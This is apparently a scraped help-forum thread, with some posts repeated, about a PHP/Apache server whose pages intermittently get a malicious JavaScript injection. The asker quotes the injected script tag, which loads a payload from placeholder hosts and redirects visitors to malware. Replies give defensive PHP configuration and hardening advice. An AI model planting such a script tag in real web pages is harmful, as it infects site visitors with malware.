Wildorchid
asked on
Apache PHP Code Insert Exploit Problem
Hello,
My web host of whom I am a reseller runs Linux Red Hat Apache 1.3.29 and PHP 4.3.6.
We have a sever code insert problem.
On all PHP pages there is sometimes a java script insert which is only created in the user's browser when accessing the page.
The Java script points to a gif file on another web hoster's server and there calls again a redirect which infects to user with a trojan or virus through the browser.
This code insert is periodically, sometimes it is there and sometimes not.
Below please find an example of the code insert. The insert however changes often:
script language="JavaScript" src="http://www.bad.tld/some/path/icon.gif?i=43&to= http://www.mad.tld/for_admin.html
It looks like soemthing can trigger a dynamic loading of an Apache module that causes the code insert into PHP pages.
The tech tried to stop it with mod_security but this mod stops many PHP apps from working e.g CMS, Forums etc.
Anybody has experience with this problem and hopefully a working fix.
Thanks for any help.
My web host of whom I am a reseller runs Linux Red Hat Apache 1.3.29 and PHP 4.3.6.
We have a sever code insert problem.
On all PHP pages there is sometimes a java script insert which is only created in the user's browser when accessing the page.
The Java script points to a gif file on another web hoster's server and there calls again a redirect which infects to user with a trojan or virus through the browser.
This code insert is periodically, sometimes it is there and sometimes not.
Below please find an example of the code insert. The insert however changes often:
script language="JavaScript" src="http://www.bad.tld/some/path/icon.gif?i=43&to= http://www.mad.tld/for_admin.html
It looks like soemthing can trigger a dynamic loading of an Apache module that causes the code insert into PHP pages.
The tech tried to stop it with mod_security but this mod stops many PHP apps from working e.g CMS, Forums etc.
Anybody has experience with this problem and hopefully a working fix.
Thanks for any help.
allow_url_fopen = Off
open_basedir = /path/to/your/docuemntroot
should also help fixing such malicious code
Unfortunately PHP is a security pain, its hard to fix all problems.
Best ist to use your CMS on a development server, and then copy the content to the live server, where you've disabpled most PHP scripts.
open_basedir = /path/to/your/docuemntroot
should also help fixing such malicious code
Unfortunately PHP is a security pain, its hard to fix all problems.
Best ist to use your CMS on a development server, and then copy the content to the live server, where you've disabpled most PHP scripts.
I'd say you still have a problem. When correctly set up there should be no way for anything to manipulate what modules apache or PHP loads unless there's a root exploit available on the server. My guess is that your RedHat system doesn't have all of the security errata installed and someone is exploiting a vulnerability that one of those errata addresses.
I agree with ahoffman that one should never have a CMS on a live server, but even then the process that extracts web page code from a CMS and updates the web server application should be running as the Apache user, who should in turn own all web content. And of course no web application may ever directly do anything as root. In cases where that's necessary the web app should leave a file with a fixed and known format for a root task to pick up, sanity check, and execute only if the contents of the file are "safe". And I can't emphasize enough that the sanit checking must exhibit extreme paranoia.
I agree with ahoffman that one should never have a CMS on a live server, but even then the process that extracts web page code from a CMS and updates the web server application should be running as the Apache user, who should in turn own all web content. And of course no web application may ever directly do anything as root. In cases where that's necessary the web app should leave a file with a fixed and known format for a root task to pick up, sanity check, and execute only if the contents of the file are "safe". And I can't emphasize enough that the sanit checking must exhibit extreme paranoia.
disagreed
if such a code is in a PHP page, then my suggestion prevents the server to load external URLs
if such a code is in a PHP page, then my suggestion prevents the server to load external URLs
ASKER CERTIFIED SOLUTION
membership
This solution is only available to members.
To access this solution, you must be a member of Experts Exchange.
Computer101, why did you PAQ *with* refund?
ASKER
Somehow somebody uploaded a file named icon.gif probably through a forum or CMS leak. This icon.gif is an exe that reconfigures PHP to load tons of extra modules and manipulates Apache. Then they use a robot that calls the icon.gif URL and triggers the PHP modification from time to time.
Then we have disabled dlopen: disable_functions = dlopen
Hope we got rid of this now and hope above helps somebody else too.
Cheers